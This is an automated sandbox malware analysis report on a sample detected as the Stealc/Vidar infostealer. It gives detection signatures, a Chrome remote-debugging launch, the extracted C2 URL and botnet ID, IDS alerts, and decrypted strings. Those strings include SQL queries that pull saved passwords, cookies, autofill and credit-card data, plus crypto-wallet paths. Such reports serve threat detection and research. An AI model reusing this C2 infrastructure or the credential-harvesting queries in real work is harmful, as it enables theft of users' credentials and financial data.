Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545848
MD5:	960b155ce99ae2a9f450c54ad39b1960
SHA1:	e14e7fc9aae50a834a7c4d5549668c6d4fd6289c
SHA256:	b3cce25ca20d9598ae3672657a5f0c2492376a9a2ecce5e237095e2fc711b062
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7472 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 960B155CE99AE2A9F450C54AD39B1960)

chrome.exe (PID: 7728 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7980 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2336,i,3958362710798390015,37809118720636991,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2050496784.000000000074E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2050877383.0000000000C81000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1677872732.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.c80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7472, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7728, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T07:14:05.361711+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T07:14:05.355602+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T07:14:05.635415+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T07:14:06.941960+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T07:14:05.855252+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T07:14:05.075178+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T07:14:07.464349+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T07:14:25.636152+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:28.987059+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:30.950602+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:32.036383+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:34.299601+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-31T07:14:34.863260+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.c80000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.c80000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.c80000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: history
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: History
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: - OS:
